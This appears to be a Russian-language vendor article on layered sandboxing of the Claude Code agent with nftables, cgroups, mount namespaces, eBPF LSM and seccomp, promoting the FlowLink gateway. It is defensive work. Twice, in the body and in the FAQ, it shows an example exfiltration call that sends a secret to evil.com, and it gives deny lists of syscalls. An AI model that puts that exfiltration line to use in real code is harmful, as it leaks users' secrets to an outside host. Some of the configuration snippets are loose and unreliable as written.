Claude Code работает иначе, чем веб-интерфейс Claude. Он получает прямой доступ к терминалу, файловой системе и сети вашего хоста. Когда вы запускаете claude --dangerously-skip-permissionsили одобряете инструмент в prompt — вы делегируете LLM права текущего пользователя без остатка.
Это делает Claude Code невероятно продуктивным. И невероятно опасным, если не выстроить защиту послойно — так, чтобы сбой одного механизма не означал полной компрометации.
Краткий ответ
Модель защиты: четыре кольца
В классической информационной безопасности «defense in depth» означает, что каждый слой independently обеспечивает защиту. Для Claude Code мы определяем четыре слоя:
┌─────────────────────────────────────────┐ │ Layer 4: Kernel (eBPF / seccomp) │ ← последнее кольцо │ Layer 3: Filesystem (namespaces, ACL) │ │ Layer 2: Process (cgroups, capabilities)│ │ Layer 1: Network (iptables, nftables) │ ← первое кольцо └─────────────────────────────────────────┘
4
Агент проходит через все слои при каждом действии. Блокировка на любом из них останавливает операцию. Давайте разберём каждый.
| Слой | Что защищает | Основной механизм | Роль FlowLink |
|---|---|---|---|
| Layer 1 — Сеть | Исходящий трафик, эксфильтрация данных | nftables + DNS-whitelist | MCP Gateway с контекстом |
| Layer 2 — Процесс | Ресурсы, fork-бомбы, привилегии | cgroups v2 + Linux capabilities | Опционально |
| Layer 3 — Файлы | Чтение/запись вне проекта | mount namespaces + eBPF LSM | eBPF shield |
| Layer 4 — Ядро | Опасные системные вызовы | seccomp-bpf | Опционально |
Layer 1 — Сетевой периметр
Claude Code может инициировать исходящие соединения: скачивать пакеты, обращаться к API, отправлять webhook'и. Первый шаг — ограничить, куда он может ходить.
Используйте nftables с метками процессов:
# Создаём таблицу для AI-агентовnft add table inet ai_agents# Разрешаем только конкретные API-эндпоинтыnft add chain inet ai_agents output { type filter hook output priority 0 \; }# Claude Code process (PID-based, обновляется через systemd exec)nft add rule inet ai_agents output meta cgroup 123 \ ip daddr != 44.234.xxx.xxx reject # Claude APInft add rule inet ai_agents output meta cgroup 123 \ ip daddr != 52.16.xxx.xxx reject # npm registry# Всё остальное — запрещеноnft add rule inet ai_agents output meta cgroup 123 dropНа уровне приложения FlowLink MCP Gateway дублирует эту логику с enriched-контекстом: он знает,какой инструмент Claude Code вызывает и для чего. Если Claude пытается выполнитьfetch("https://evil.com/exfil?data=" + secret) — gateway блокирует запрос до того, как он достигнет сети.
DNS-фильтрация как дополнительная линия
Даже если агент обходит IP-фильтры через DNS, FlowLink перехватывает getaddrinfo()через eBPF и проверяет домен против whitelist:
allowed_domains = [ "api.anthropic.com", "registry.npmjs.org", "api.github.com", "*.internal.company.com"]Layer 2 — Изоляция процессов
Claude Code запускает дочерние процессы (git, npm, docker). Без ограничений любой из этих процессов наследует права пользователя.
cgroups v2 ограничивают ресурсы и предотвращают fork-bombs:
# /etc/systemd/system/claude-code.slice[Unit]Description=Claude Code sandbox slice[Slice]CPUQuota=50%MemoryMax=4GTasksMax=500DeviceAllow=/dev/null rwDeviceAllow=/dev/urandom r# Запускsystemd-run --user --slice=claude-code.slice claudeМинимальные привилегии
CAP_SYS_ADMIN, CAP_NET_RAW или CAP_SYS_PTRACE — смело отбрасывайте их. Оставлять привилегии «на всякий случай» — самая частая причина реальных инцидентов с AI-агентами.# Drop all capabilities, grant only what's neededcapsh --drop=all --caps="cap_net_bind_service=ep" -- \ -c "claude --allowedTools bash,read,write,glob,search"Layer 3 — Файловая система
Claude Code читает и пишет файлы. Ключевая идея: дать доступ только к рабочей директории проекта, запретить всё остальное.
С помощью mount namespace:
# Создаём изолированное пространство имён файловой системыunshare --mount --map-root-user \ --mount-proc \ bash -c " mount --bind /home/dev/project /home/dev/project mount --bind /tmp/claude-tmp /tmp mount -t tmpfs none /root claude "Для более точного контроля FlowLink использует eBPF LSM hook наsecurity_file_permission:
SEC("lsm/file_permission")int restrict_claude_fs(struct file *file, int mask) { char path[256]; bpf_d_path(&file->f_path, path, sizeof(path)); // Белый список директорий if (!path_starts_with(path, "/home/dev/project") && !path_starts_with(path, "/tmp") && !path_starts_with(path, "/usr/local/lib")) { log_access_denied(path, mask); return -EACCES; } return 0;}Layer 4 — Ядро
Последняя линия обороны. seccomp-bpf фильтрует системные вызовы на уровне ядра — агент просто не может выполнить определённые syscall'ы:
{ "defaultAction": "SCMP_ACT_ERRNO", "architectures": ["SCMP_ARCH_X86_64"], "syscalls": [ { "names": ["write", "read", "openat", "close", "fstat", "mmap", "brk", "exit_group"], "action": "SCMP_ACT_ALLOW" }, { "names": ["unshare", "clone", "mount", "ptrace", "keyctl", "acct"], "action": "SCMP_ACT_KILL" } ]}Claude Code не нужен mount(), ptrace() или unshare(). Блокировка этих syscall'ов предотвращает контейнер-escape и отладку чужих процессов.
Как это всё соединить в Production
Каждый слой независимо полезен, но максимальная защита достигается при их комбинации. Вот практический порядок внедрения:
Поэтапное внедрение защиты Claude Code
Реалистичный четырёхнедельный план — от быстрых побед до runtime-политик с контекстом.
Неделя 1 — Systemd slice + seccomp profile
Запустите Claude Code в выделенном systemd slice с лимитами CPU/памяти и подключите seccomp-профиль, запрещающий опасные syscall. Это 30 минут настройки с мгновенным эффектом — защита от fork-бомб и контейнер-escape.
Неделя 2 — nftables + DNS-фильтрация
Опишите таблицу
inet ai_agentsв nftables и whitelist доменов. Это ограничивает сетевой доступ агента разрешёнными API (Anthropic, npm registry, GitHub) и блокирует эксфильтрацию данных.Неделя 3 — Mount namespaces
Запускайте агента в отдельном mount namespace с bind-mount только рабочей директории проекта. Файловая система остального хоста становится невидимой для Claude Code.
Неделя 4 — FlowLink eBPF shield + MCP gateway
Подключите runtime-политики FlowLink: eBPF LSM на
security_file_permissionи MCP Gateway, который знает, какой инструмент вызывает агент и зачем. Это контекстно-зависимая защита поверх статичных правил.
Плюсы и минусы подхода defense in depth
Плюсы
- Сбой одного слоя не означает полной компрометации — остальные продолжают защищать
- Каждый слой независимо тестируется, аудитируется и откатывается
- Гибкость: слои можно внедрять поэтапно, начиная с быстрых побед
- Защита работает даже при компрометации самого промпта агента
Минусы
- Эксплуатационная сложность: четыре механизма нужно поддерживать и обновлять
- Накладные расходы на производительность (особенно eBPF LSM)
- Требуется экспертиза в Linux security — cgroups, namespaces, seccomp, eBPF
- Сложнее отладка: ложные срабатывания приходится искать по нескольким слоям
Не нужно развёртывать всё одновременно. Но каждый беззащитный слой — это вектор, который реальный атакующий или «добросовестный» AI-агент может эксплуатировать.
Часто задаваемые вопросы
Что такое defense in depth применительно к Claude Code?
Это архитектурный принцип, при котором агент проходит через несколько независимых слоёв защиты: сеть → процесс → файловая система → ядро. Блокировка на любом из них останавливает опасную операцию. Сбой одного механизма (например, дыра в сетевом правиле) не приводит к компрометации — остальные слои продолжают защищать.
Нужно ли разворачивать все четыре слоя сразу?
Нет. Рекомендуется поэтапное внедрение: начать с systemd slice + seccomp (быстрая победа за 30 минут), затем добавить сетевой периметр, mount namespaces и в конце — runtime-политики FlowLink. Каждый слой даёт самостоятельную защиту, поэтому отдача видна с первой недели.
Зачем нужен eBPF, если уже есть seccomp и namespaces?
seccomp фильтрует системные вызовы, но не знает контекста: он не отличит чтение файла с секретами от чтения временного лога. eBPF LSM-хук на security_file_permission проверяет конкретный путь, а MCP Gateway поверх него знает, какой инструмент агента делает запрос и для какой задачи. Это контекстно-зависимая защита, недоступная статичным правилам.
Можно ли просто запустить Claude Code в Docker-контейнере?
Контейнер — хорошая отправная точка (он использует namespaces и cgroups), но сам по себе слаб: по умолчанию он запускается от root, имеет широкий набор capabilities и неограниченный исходящий трафик. Без seccomp-профиля, capabilities-drop и сетевого firewall контейнер не останавливает эксфильтрацию и container-escape через уязвимости рантайма.
Что делает FlowLink MCP Gateway в этой архитектуре?
MCP Gateway — это прикладной слой поверх четырёх системных колец. Он перехватывает вызовы инструментов Claude Code с enriched-контекстом: знает имя инструмента, аргументы, сессию и задачу. Если агент пытается выполнить fetch("https://evil.com/exfil?…"), gateway блокирует запрос до того, как он достигнет сети, и логирует инцидент с полным контекстом.
Развертываете Claude Code в production?
Получите готовый набор политик FlowLink для Claude Code: 12 правил, eBPF-профиль и MCP-gateway конфиг — всё в одном репозитории.
Скачать starter kit